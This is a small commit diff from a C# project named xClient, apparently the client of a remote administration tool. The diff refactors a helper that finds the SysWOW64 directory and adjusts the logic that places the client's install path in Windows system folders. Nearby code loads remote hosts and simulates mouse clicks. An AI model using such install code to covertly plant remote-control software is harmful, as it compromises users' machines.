Small change

This commit is contained in:
MaxXor 2015-08-24 21:06:40 +02:00
parent 3c0e930bc9
commit 5e868eb05e
3 changed files with 13 additions and 15 deletions

View File

@ -1,8 +1,6 @@
using System.Drawing;
using System.IO;
using System.Text;
using System.Text.RegularExpressions;
using xClient.Core.Utilities;
namespace xClient.Core.Helper
{
@ -41,14 +39,5 @@ namespace xClient.Core.Helper
input = input.Remove(input.Length - 2);
return input;
}
public static string GetSystemDirectory()
{
var path = string.Empty;
var buffer = new StringBuilder(260); // MAX_PATH
if (NativeMethods.GetSystemWow64Directory(buffer, (uint)buffer.Capacity) != 0)
path = buffer.ToString();
return path;
}
}
}

View File

@ -1,6 +1,6 @@
using System;
using System.Drawing;
using System.Drawing;
using System.Runtime.InteropServices;
using System.Text;
using xClient.Core.Utilities;
namespace xClient.Core.Helper
@ -26,6 +26,15 @@ namespace xClient.Core.Helper
return 0;
}
public static string GetSystemWow64Directory()
{
var path = string.Empty;
var buffer = new StringBuilder(260); // MAX_PATH
if (NativeMethods.GetSystemWow64Directory(buffer, (uint)buffer.Capacity) != 0)
path = buffer.ToString();
return path;
}
public static void DoMouseLeftClick(Point p, bool isMouseDown)
{
NativeMethods.mouse_event(isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP, p.X, p.Y, 0, 0);

View File

@ -120,8 +120,8 @@ namespace xClient
_hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
// https://stackoverflow.com/questions/3540930/getting-syswow64-directory-using-32-bit-application
if (PlatformHelper.Architecture == 64 && Settings.DIR.Contains("Windows\\system32"))
Settings.DIR = FormatHelper.GetSystemDirectory();
if (PlatformHelper.Architecture == 64 && Settings.DIR == Environment.GetFolderPath(Environment.SpecialFolder.System))
Settings.DIR = NativeMethodsHelper.GetSystemWow64Directory();
ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);